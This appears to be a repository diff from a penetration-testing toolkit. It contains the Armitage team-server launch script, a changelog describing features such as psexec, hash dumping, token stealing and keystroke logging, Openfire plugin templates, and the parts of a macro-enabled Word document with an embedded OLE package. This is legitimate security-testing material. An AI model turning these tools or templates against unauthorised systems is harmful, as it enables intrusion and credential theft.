- RKelly located under lib/rkelly/
Copyright (c) 2007, 2008, 2009 Aaron Patterson, John Barnette
- Gem components located under lib/gemcache
* actionmailer - Copyright (c) 2004-2011 David Heinemeier Hansson
* actionpack - Copyright (c) 2004-2011 David Heinemeier Hansson
* activemodel - Copyright (c) 2004-2011 David Heinemeier Hansson
* activerecord - Copyright (c) 2004-2011 David Heinemeier Hansson
* activeresource - Copyright (c) 2006-2011 David Heinemeier Hansson
* activesupport - Copyright (c) 2005-2011 David Heinemeier Hansson
* authlogic - Copyright (c) 2011 Ben Johnson of Binary Logic
* carrierwave - Copyright (c) 2008-2012 Jonas Nicklas
* chunky_png - Copyright (c) 2010 Willem van Bergen
* daemons - Copyright (c) 2005-2012 Thomas Uehlinger
* diff-lcs - Copyright 20042011 Austin Ziegler
* formtastic - Copyright (c) 2008-2010 Justin French
* fssm - Copyright (c) 2011 Travis Tilley
* hike - Copyright (c) 2011 Sam Stephenson
* i18n - Copyright (c) 2008 The Ruby I18n team
* jquery-rails - Copyright (c) 2010 Andre Arko
* liquid - Copyright (c) 2005, 2006 Tobias Luetke
* method_source - Copyright (c) 2011 John Mair (banisterfiend)
* multi_json - Copyright (c) 2010 Michael Bleigh, Josh Kalderimis, Erik Michaels-Ober, and Intridea, Inc.
* rack - Copyright (c) 2007, 2008, 2009, 2010 Christian Neukirchen <purl.org/net/chneukirchen>
* rack-cache - Copyright (c) 2008 Ryan Tomayko <http://tomayko.com/about>
* rack-ssl - Copyright (c) 2010 Joshua Peek
* rake - Copyright (c) 2003, 2004 Jim Weirich
* slop - Copyright (c) 2012 Lee Jarvis
* sprockets - Copyright (c) 2011 Sam Stephenson, Copyright (c) 2011 Joshua Peek
* state_machine - Copyright (c) 2006-2012 Aaron Pfeifer
* thor - Copyright (c) 2008 Yehuda Katz
* tilt - Copyright (c) 2010 Ryan Tomayko <http://tomayko.com/about>
* treetop - Copyright (c) 2007 Nathan Sobo
* tzinfo - Copyright (c) 2005-2006 Philip Ross
````
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
````
Binary file not shown.
+72
View File
@@ -0,0 +1,72 @@
#!/bin/bash
# start msfrpcd and the deconfliction server. Check for common mistakes
# to save some time and head scratching...
# check the arguments
EXPECTED=2
if [ $# -ne $EXPECTED ]; then
echo "[-] You must provide: <external IP address> <team password>"
echo " <external IP address> must be reachable by Armitage"
echo " clients on port 55553"
echo " <team password> is a shared password your team uses to"
echo " authenticate to the Armitage team server"
exit
fi
# check that we're r00t
if [ $UID -ne 0 ]; then
echo "[-] Superuser privileges are required to run the team server"
exit
fi
# check if java is available...
if [ $(command -v java) ]; then
true
else
echo "[-] java is not in \$PATH"
echo " is Java installed?"
exit
fi
# check if keytool is available...
if [ $(command -v keytool) ]; then
true
else
echo "[-] keytool is not in \$PATH"
echo " install the Java Developer Kit"
exit
fi
# check if msfrpcd is available
if [ $(command -v msfrpcd) ]; then
true
else
echo "[-] msfrpcd is not in \$PATH"
echo " is Metasploit installed?"
exit
fi
# check if msfrpcd is running or not
if [ "$(pidof msfrpcd)" ]; then
echo "[-] msfrpcd is already running. Kill it before running this script"
echo " try: killall -9 msfrpcd"
exit
fi
# generate a certificate
# naturally you're welcome to replace this step with your own permanent certificate.
# just make sure you pass -Djavax.net.ssl.keyStore="/path/to/whatever" and
# -Djavax.net.ssl.keyStorePassword="password" to java. This is used for setting up
# an SSL server socket. Also, the SHA-1 digest of the first certificate in the store
# is printed so users may have a chance to verify they're not being owned.
echo "[+] Generating X509 certificate and keystore (for SSL)"
rm -f ./armitage.store
keytool -keystore ./armitage.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias armitage -dname "CN=Armitage Hacker, OU=FastAndEasyHacking, O=Armitage, L=Somewhere, S=Cyberspace, C=Earth"
# start everything up
echo "[+] Starting RPC daemon"
msfrpcd -U msf -P $2 -a 127.0.0.1 -p 55554 -S
echo "[+] sleeping for 20s (to let msfrpcd initialize)"
sleep 20
echo "[+] Starting Armitage team server"
java -Djavax.net.ssl.keyStore=./armitage.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+UseParallelGC -jar armitage.jar --server $1 55554 msf $2 55553
+282
View File
@@ -1,6 +1,288 @@
Armitage Changelog
==================
5 Jul 12
--------
- Login -> psexec now sets a different LPORT for each host it's
launched against when using a reverse payload. Fixes a bug where
using a reverse connect payload against X hosts didn't work.
- Progressbar Cancel button now works with the Sync Files button
in View -> Downloads and View -> Loot
- Fixed a potential deadlock with the Sync Files feature
- Clicking the Size column in View -> Downloads now sorts properly
24 Jun 12
---------
- Meterpreter -> Kill now uses session.stop RPC call
- Simplified code to stop a running job
- Added an option to disable TCP_NODELAY from the comamnd line:
java -Darmitage.enable_nagle=true -jar armitage.jar
Use this if you see "bad mac" SSL errors when connected to a
team server.
- Log Keystrokes tab now changes color when there is activity
- Randomized filename for USERPASS_FILE to allow multiple brute
forces to happen at once.
- Added a View item in the File Browser's popup menu. This will
let you quickly read several highlighted text files (it also
saves the files to the right place locally too)
7 Jun 12 - Adding on to those quick bug fixes / tweaks
--------
- Disabled Nagles algorithm for team server and client SSL sockets.
This makes team server much more responsive... trust me.
- Fixed bug preventing Armitage from showing "Started Service"
message when starting the SOCKS Proxy server.
- Fixed a find feature highlight bug in the View tab.
30 May 12 - A few quick bug fixes / tweaks...
---------
- Fixed an exception when killing a session or removing a route
through the UI.
- Oooh, ps command added a new column to its output. Updated ps
parser to handle this.
- Hosts -> Import Hosts now works under Windows again. Had to
escape the filename. *sigh*
- Hail Mary now sets LHOST option. This is necessary for some
attacks to work properly.
- Tweaked console create code in beginning of Armitage setup to
hopefully avoid aggravating the evil console.create deadlock
condition.
21 May 12
---------
- Added a hack to prevent the input area from flickering when the
prompt changes.
- Updated the color palette to something a little more subtle.
- Added an optimization to how modules are launched. This will make
a difference for team use in high latency situations.
- Rewrote MSF Scans feature to use console queue. This option is more
reliable and it makes the code easier to follow.
- Added a hack to combine chat message writes with a read request.
This will make the event log more responsive in a high latency
situation (can't you tell I care about this "situation")
- Fixed text highlights through Ctrl+F on Windows. UNIX platforms
were always OK. Another good reason to not use these tools on
Windows. Ever.
- View -> Downloads Sync Files feature now works on Windows. It looks
like leaving those pesky :'s in the file paths is bad.
17 May 12
---------
- Fixed bug with loot/download viewer breaking with a font resize.
- Default console font color is now grey. I never noticed that I had
white text on a black background before. That's a lot of contrast.
This is adjustable too through Armitage -> Preferences.
- And... the Armitage console now displays pretty colors. If you don't
like colors, set the console.show_colors.boolean preference to false
through Armitage -> Preferences.
- Fixed a bug preventing input field from getting focus when popping a
console tab using Ctrl+W.
14 May 12
---------
- Oopserific--dynamic workspace shortcuts were not bound until you
clicked the Workspaces menu. I fixed that.
- Improved console pool's ability to detect a dead console. If you saw
"null" prompts in an open tab, it's because of a dead console. Fixed
- Bound Ctrl+Backspace to reset dynamic workspaces. Ctrl+0 is now back
to what it originally did (resetting the font size to default).
- Added Ctrl+T to take a screenshot of the active tab
- Added Ctrl+W to pop the active tab into its own window
- Armitage team server is now SSL enabled. The teamserver script (you
are using it, right?) generates a certificate for you using keytool.
The server presents the SHA1 hash of its certificate. Armitage users
have the opportunity to verify and trust the hash of the certificate
presented to them or to reject it and not connect.
- Added Ctrl+Left / Ctrl+Right to quickly navigate through tabs.
- Added a check to prevent clients from connecting to msfrpcd directly
when teaming is enabled.
- Fixed a bug that prevented command shells from opening on some sessions
- Team server client now caches certain calls to RPC server.
- Reworked the Loot/Downloads View button. Now, all highlighted files are
displayed in one View tab. This makes searching easier. Each file is
displayed with a colored header (to make it easier to tell when one file
ends and the other begins).
- Added Sync Files button to Loot/Downloads tabs when connected to a team
server. This button will download all files associated with the highlighted
rows and save them in the Armitage data directory.
7 May 12
--------
Note: Armitage team server setup has changed. Refer to the manual for
the latest information: http://www.fastandeasyhacking.com/manual#7
- Armitage team mode now routes all Metasploit-bound calls through the
deconfliction server. Armitage also pools "temporary" Metasploit
consoles. It's too bad this is logged as one change, because it's
more like twenty. These changes were motivated by a desire to avoid
triggering a race condition that was introduced w/ Metasploit 4.3.0.
http://dev.metasploit.com/redmine/issues/6829
On the bright side these changes will allow a lot more flexibility
to optimize how Armitage interacts with msfrpcd and to do some neat
things (like logging) in a centralized way.
- Module description (in module launch dialog) is now resizable.
- Added Ctrl+D keyboard shortcut to close active tab.
- Armitage now uses (more robust) console queue for launching post
modules, handlers, brute force attacks, and other things.
- Fixed a race condition in the Jobs tab refresh after killing a job
- Armitage now filters smb hashes from non-psexec/smb login dialogs.
- Added armitage.log_data_here.folder setting. This setting lets you
specify where Armitage will save its logs, downloaded files, and
screenshots. *cough* Some penetration testers like to dump everything
to an encrypted volume. *cough*. I apologize it took this long to
get this feature in place.
- Improved perceived responsiveness of a console interaction
17 Apr 12
---------
- Modified how Armitage determines a console command is complete to stay
compat with behavior changes in a recent Metasploit update.
- Armitage now queues console commands to prevent out of order execution.
16 Apr 12
---------
- The search field in the module browser now updates results in real time.
Start typing and Armitage will start filtering the module tree for you.
Clear the field to reset it to the default state.
- Added keyboard shortcuts to switch dynamic workspaces...
Ctrl+1 = first workspace
Ctrl+2 = second workspace
....
Ctrl+0 = show all
- Added keyboard shortcuts:
Ctrl+N = new console
Ctrl+O = open preferences
- Armitage's Meterpreter -> Access -> Dump Hashes -> lsass method is now
much better about grabbing all of the hashdump output and adding it to
the creds table. The hashdump command returns output as an arbitrary
number of chunks. I now use a different read strategy for determining when
the output is complete.
- You may now use Ctrl+Alt to deselect highlighted items in a range in the
Jobs and Workspaces table views (most other table views that do multi
selection should allow this already).
- Added Shell -> Pass Session for *NIX shell sessions. Uses the system_session
module to pass a shell session elsewhere (or duplicate the current shell)
29 Mar 12
---------
- Fixed a bug that affects first-time users. Armitage was not initializing a
console before trying to connect to the database.
28 Mar 12
---------
- Team server now delivers chat messages in batches vs. one line at a time.
This will make syncing on reconnect much better (in theory)
- Several optimizations to prevent unnecessary reads/calls to deconfliction
server when in team mode. This will primarily affect high latency situations.
- Use Shift+Click to close all tabs with the same name. This feature now closes
all tabs in the same group (e.g., all screenshots, file browsers, command
shells, etc.)
- Armitage now logs launches of the enum_dns module.
- Hosts -> DNS Enumerate now populates NS field with highlighted host.
- Armitage now adds a tooltip to tabs associated with a session. Hover your
mouse over a tab X button to see which host the tab is associated with.
- Fixed a potential exception caused when listing downloads.
- Created a queue to process certain commands meant for Metasploit in order and
in a throttled manner. Started moving some Armitage calls to it. Now you can
fire an exploit at 1,000 hosts and Armitage won't blink. It might take awhile
before that exploit finishes firing against all of the hosts though :)
- The file browser now has a "List Drives" button. It's only available on
Windows sessions. Click it to see which drives are available.
- File browser can now navigate to folders with apostrophes in their name.
- Made some major internal changes to how Armitage interacts with Metasploit. The
goal is to make a more robust and faster hacking experience for you.
22 Mar 12
---------
- Updated Armitage NMap profiles with the following:
-T4 (instead of -T5) [wait longer for open services to reply]
-n [forces NMap to not resolve the hostname of IP addresses]
--min-hostgroup 96 [allows more parallelism when scanning hosts]
- Armitage now intercepts screenshot and webcam_snap commands from meterpreter
shell and performs the appropriate action with them.
- View -> Creds -> Export button now works in team mode.
- Doh! Armitage now properly shows VMWare icon when OS is set to a VMWare ESXi
- Armitage "is command finished?" heuristic now accounts for commands like
del /S which prompt with a (Y/N)? - you can safely use these commands again.
- Armitage now detects whether a client connecting to the team server is out
dated or not. It rejects old clients. They will get a message indicating they
need to update and then their client won't do anything else. You'll see a
message printed to STDOUT where the team server ran about the rejection.
- Added a * indicator to the active workspace in the workspaces menu.
- Added Hosts -> DNS Enumerate, this menu launches a Metasploit module that will
attempt to discover hosts by querying a name server in different ways.
- Added a file chooser helper to WORDLIST option.
- Armitage now displays a pivot relationship between a compromised host and the
NAT/proxy device it is connected through.
- Added a Copy button to services tab. This button copies the highlighted hosts
to the clipboard. I found myself needing this several times recently.
- Improved reverse payload selection logic (now it includes rev php meterpreter)
- Armitage now sets a different LPORT for each exploit launched with a rev payload
10:30am
- Changed algorithm for determining which edges to highlight in graph view. If there
is a pivot and both sides have a session, then the edge is highlighted.
8 Mar 12 1.43-dev
--------
- Armitage now uses session_host to determine which host a session is associated
with. This value is grabbed directly from the OS itself. You'll no longer have
20 meterpreter sessions associated with a NAT/firewall device.
- Armitage now spins up a new listener for each client-side attack (no longer
relying on the random default listener created on startup). Of course you can
change this... double-click the PAYLOAD option to set it to something else.
- Token stealing dialog now disables refresh button while grabbing tokens. Enables
it again when done.
- Armitage now talks to Metasploit every two minutes to prevent auth timeout.
- Armitage now displays a firewall icon for hosts with no OS marked as a firewall
by MSF.
- Armitage now selects an IPv6 bind payload when attacking IPv6 hosts.
- Armitage now explicitly sets RPORT for different MSF Scan options and psexec.
- Updated the about dialog to include a version number and release date.
- Added a ./teamserver [external IP] [shared pass] script to the UNIX distro of
Armitage. This script makes it much easier to startup Armitage's team server mode.
2 Mar 12 - Catching up to a few MSF 4.3.0-dev changes...
--------
- Added a tab rename feature.
- Hosts that self report as .NET server now display an XP/2003 era icon.
- Updated route command parser to conform to Metasploit 4.3.0's output for it
- "Check all credentials" feature now works when running the deconfliction
server AND client from the same folder.
- [host] -> Host -> Operating System -> * now clears notes related to host
before updating OS. This allows future scans to trigger MSF normalization
code and update the OS to something else (e.g., from Unknown to X)
29 Feb 12
---------
- Armitage now displays a VMWare icon for hosts flagged as ESX/ESXi servers
- Overhauled token stealing user experience--this is the cadillac version. You
now get a nice list of the available tokens (from the post module), click to
impersonate, refresh, rev2self, and getuid.
- Improved file browser responsiveness
- Table view now allows individual hosts to be deselected in an interveral
(Armitage will no longer reselect these hosts for you)
- Dynamic workspaces no longer requires a comma and a space between entries (a
comma is good enough)
- Improved the [Host] -> Remove menu option
- Deconfliction server now returns the previous 100 events to new clients.
- File browser directory up button is now more obvious
- Keyboard accelerators when you right-click in the graph view are now correct.
- Adjusted the graph view scrolling increments to something sane.
- Added a slight delay between commands issued to a console to prevent them
from executing out of order.
21 Feb 12
---------
- Added Cut/Copy/Paste menu to table cell editor.
- Module browser search field now treats spaces as a wildcard. You may type:
"win meterp" and Armitage will treat it as "win*meterp"
- Hovering over an edge in graph view no longer reports a "null" tooltip
- Fixed parsing of ps output for the process dialog (it's much much better now)
14 Feb 12
---------
- Added ports 5631 (pc anywhere) and 902 (vmauthd) to the MSF Scans feature.
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
+69
View File
@@ -0,0 +1,69 @@
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<title>Example plugin changelog</title>
<style type="text/css">
BODY {
font-size : 100%;
}
BODY, TD, TH {
font-family : tahoma, verdana, arial, helvetica, sans-serif;
font-size : 0.8em;
}
H2 {
font-size : 10pt;
font-weight : bold;
}
A:hover {
text-decoration : none;
}
H1 {
font-family : tahoma, arial, helvetica, sans-serif;
font-size : 1.4em;
font-weight: bold;
border-bottom : 1px #ccc solid;
padding-bottom : 2px;
}
TT {
font-family : courier new;
font-weight : bold;
color : #060;
}
PRE {
font-family : courier new;
font-size : 100%;
}
.events TH {
font-size: 8pt;
font-family: verdana;
font-weight: bold;
text-align: left;
background-color: #eee;
border-bottom: 1px #ccc solid;
}
.events .event {
font-weight: bold;
}
.events TD {
border-bottom: 1px #ccc dotted;
vertical-align: top;
}
</style>
</head>
<body>
<h1>
Example plugin
</h1>
<h2>Todo</h2>
<p>
Add changelog content here
</p>
</body>
</html>
Binary file not shown.
Binary file not shown.

After

Width:  |  Height:  |  Size: 1.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1021 B

+10
View File
@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="UTF-8"?>
<plugin>
<class>com.example.openfire.plugin.Example</class>
<name>PLUGINNAME</name>
<description>PLUGINDESCRIPTION</description>
<author>PLUGINAUTHOR</author>
<version>1.0.0</version>
<date>7/7/2008</date>
<minServerVersion>3.5.0</minServerVersion>
</plugin>
+69
View File
@@ -0,0 +1,69 @@
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<title>Example plugin readme</title>
<style type="text/css">
BODY {
font-size : 100%;
}
BODY, TD, TH {
font-family : tahoma, verdana, arial, helvetica, sans-serif;
font-size : 0.8em;
}
H2 {
font-size : 10pt;
font-weight : bold;
}
A:hover {
text-decoration : none;
}
H1 {
font-family : tahoma, arial, helvetica, sans-serif;
font-size : 1.4em;
font-weight: bold;
border-bottom : 1px #ccc solid;
padding-bottom : 2px;
}
TT {
font-family : courier new;
font-weight : bold;
color : #060;
}
PRE {
font-family : courier new;
font-size : 100%;
}
.events TH {
font-size: 8pt;
font-family: verdana;
font-weight: bold;
text-align: left;
background-color: #eee;
border-bottom: 1px #ccc solid;
}
.events .event {
font-weight: bold;
}
.events TD {
border-bottom: 1px #ccc dotted;
vertical-align: top;
}
</style>
</head>
<body>
<h1>
Example plugin
</h1>
<h2>Todo</h2>
<p>
Add readme content here
</p>
</body>
</html>
+3
View File
@@ -0,0 +1,3 @@
Manifest-Version: 1.0
Created-By: 1.6.0_18 (Sun Microsystems Inc.)
@@ -0,0 +1,2 @@
# Providers for midi devices
com.sun.media.sound.MixerSequencerProvider
Binary file not shown.
Binary file not shown.
BIN
View File
Binary file not shown.
Binary file not shown.
+2
View File
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="bin" ContentType="application/vnd.ms-office.vbaProject"/><Default Extension="emf" ContentType="image/x-emf"/><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/word/document.xml" ContentType="application/vnd.ms-word.document.macroEnabled.main+xml"/><Override PartName="/word/vbaData.xml" ContentType="application/vnd.ms-word.vbaData+xml"/><Override PartName="/word/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.styles+xml"/><Override PartName="/word/stylesWithEffects.xml" ContentType="application/vnd.ms-word.stylesWithEffects+xml"/><Override PartName="/word/settings.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.settings+xml"/><Override PartName="/word/webSettings.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.webSettings+xml"/><Override PartName="/word/embeddings/oleObject1.bin" ContentType="application/vnd.openxmlformats-officedocument.oleObject"/><Override PartName="/word/fontTable.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.fontTable+xml"/><Override PartName="/word/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>
+2
View File
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/extended-properties" Target="docProps/app.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties" Target="docProps/core.xml"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="word/document.xml"/></Relationships>
+2
View File
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties" xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"><Template>Normal.dotm</Template><TotalTime>1</TotalTime><Pages>1</Pages><Words>2</Words><Characters>13</Characters><Application>Microsoft Office Word</Application><DocSecurity>0</DocSecurity><Lines>1</Lines><Paragraphs>1</Paragraphs><ScaleCrop>false</ScaleCrop><Company></Company><LinksUpToDate>false</LinksUpToDate><CharactersWithSpaces>14</CharactersWithSpaces><SharedDoc>false</SharedDoc><HyperlinksChanged>false</HyperlinksChanged><AppVersion>14.0000</AppVersion></Properties>
+2
View File
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><dc:creator>Windows User</dc:creator><cp:lastModifiedBy>Windows User</cp:lastModifiedBy><cp:revision>2</cp:revision><dcterms:created xsi:type="dcterms:W3CDTF">2012-06-07T21:43:00Z</dcterms:created><dcterms:modified xsi:type="dcterms:W3CDTF">2012-06-07T21:43:00Z</dcterms:modified></cp:coreProperties>
+2
View File
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId8" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/fontTable" Target="fontTable.xml"/><Relationship Id="rId3" Type="http://schemas.microsoft.com/office/2007/relationships/stylesWithEffects" Target="stylesWithEffects.xml"/><Relationship Id="rId7" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="embeddings/oleObject1.bin"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/><Relationship Id="rId1" Type="http://schemas.microsoft.com/office/2006/relationships/vbaProject" Target="vbaProject.bin"/><Relationship Id="rId6" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="media/image1.emf"/><Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/webSettings" Target="webSettings.xml"/><Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/settings" Target="settings.xml"/><Relationship Id="rId9" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/theme" Target="theme/theme1.xml"/></Relationships>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.microsoft.com/office/2006/relationships/wordVbaData" Target="vbaData.xml"/></Relationships>
+2
View File
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:document xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 wp14"><w:body><w:p w:rsidR="00EB5F66" w:rsidRDefault="006042EE"><w:bookmarkStart w:id="0" w:name="_GoBack"/><w:r><w:rPr><w:noProof/></w:rPr><w:pict><v:shapetype id="_x0000_t75" coordsize="21600,21600" o:spt="75" o:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f"><v:stroke joinstyle="miter"/><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"/><v:f eqn="sum @0 1 0"/><v:f eqn="sum 0 0 @1"/><v:f eqn="prod @2 1 2"/><v:f eqn="prod @3 21600 pixelWidth"/><v:f eqn="prod @3 21600 pixelHeight"/><v:f eqn="sum @0 0 1"/><v:f eqn="prod @6 1 2"/><v:f eqn="prod @7 21600 pixelWidth"/><v:f eqn="sum @8 21600 0"/><v:f eqn="prod @7 21600 pixelHeight"/><v:f eqn="sum @10 21600 0"/></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"/><o:lock v:ext="edit" aspectratio="t"/></v:shapetype><v:shape id="_x0000_s1026" type="#_x0000_t75" style="position:absolute;margin-left:0;margin-top:0;width:80.2pt;height:40.5pt;z-index:-251657216;mso-position-horizontal:absolute;mso-position-horizontal-relative:text;mso-position-vertical:absolute;mso-position-vertical-relative:text"><v:imagedata r:id="rId6" o:title=""/></v:shape><o:OLEObject Type="Embed" ProgID="Package" ShapeID="_x0000_s1026" DrawAspect="Content" ObjectID="_1400592552" r:id="rId7"/></w:pict></w:r><w:bookmarkEnd w:id="0"/><w:r><w:t>W00TW00T</w:t></w:r></w:p><w:sectPr w:rsidR="00EB5F66"><w:pgSz w:w="12240" w:h="15840"/><w:pgMar w:top="1440" w:right="1440" w:bottom="1440" w:left="1440" w:header="720" w:footer="720" w:gutter="0"/><w:cols w:space="720"/><w:docGrid w:linePitch="360"/></w:sectPr></w:body></w:document>
Binary file not shown.
+2
View File
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:fonts xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" mc:Ignorable="w14"><w:font w:name="Calibri"><w:panose1 w:val="020F0502020204030204"/><w:charset w:val="00"/><w:family w:val="swiss"/><w:pitch w:val="variable"/><w:sig w:usb0="E10002FF" w:usb1="4000ACFF" w:usb2="00000009" w:usb3="00000000" w:csb0="0000019F" w:csb1="00000000"/></w:font><w:font w:name="Times New Roman"><w:panose1 w:val="02020603050405020304"/><w:charset w:val="00"/><w:family w:val="roman"/><w:pitch w:val="variable"/><w:sig w:usb0="E0002AFF" w:usb1="C0007841" w:usb2="00000009" w:usb3="00000000" w:csb0="000001FF" w:csb1="00000000"/></w:font><w:font w:name="Cambria"><w:panose1 w:val="02040503050406030204"/><w:charset w:val="00"/><w:family w:val="roman"/><w:pitch w:val="variable"/><w:sig w:usb0="E00002FF" w:usb1="400004FF" w:usb2="00000000" w:usb3="00000000" w:csb0="0000019F" w:csb1="00000000"/></w:font></w:fonts>
Binary file not shown.

After

Width:  |  Height:  |  Size: 18 KiB

+2
View File
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:settings xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:sl="http://schemas.openxmlformats.org/schemaLibrary/2006/main" mc:Ignorable="w14"><w:zoom w:percent="100"/><w:proofState w:spelling="clean" w:grammar="clean"/><w:defaultTabStop w:val="720"/><w:characterSpacingControl w:val="doNotCompress"/><w:compat><w:compatSetting w:name="compatibilityMode" w:uri="http://schemas.microsoft.com/office/word" w:val="14"/><w:compatSetting w:name="overrideTableStyleFontSizeAndJustification" w:uri="http://schemas.microsoft.com/office/word" w:val="1"/><w:compatSetting w:name="enableOpenTypeFeatures" w:uri="http://schemas.microsoft.com/office/word" w:val="1"/><w:compatSetting w:name="doNotFlipMirrorIndents" w:uri="http://schemas.microsoft.com/office/word" w:val="1"/></w:compat><w:rsids><w:rsidRoot w:val="002B771F"/><w:rsid w:val="002B771F"/><w:rsid w:val="006042EE"/><w:rsid w:val="00EB5F66"/></w:rsids><m:mathPr><m:mathFont m:val="Cambria Math"/><m:brkBin m:val="before"/><m:brkBinSub m:val="--"/><m:smallFrac m:val="0"/><m:dispDef/><m:lMargin m:val="0"/><m:rMargin m:val="0"/><m:defJc m:val="centerGroup"/><m:wrapIndent m:val="1440"/><m:intLim m:val="subSup"/><m:naryLim m:val="undOvr"/></m:mathPr><w:themeFontLang w:val="en-US"/><w:clrSchemeMapping w:bg1="light1" w:t1="dark1" w:bg2="light2" w:t2="dark2" w:accent1="accent1" w:accent2="accent2" w:accent3="accent3" w:accent4="accent4" w:accent5="accent5" w:accent6="accent6" 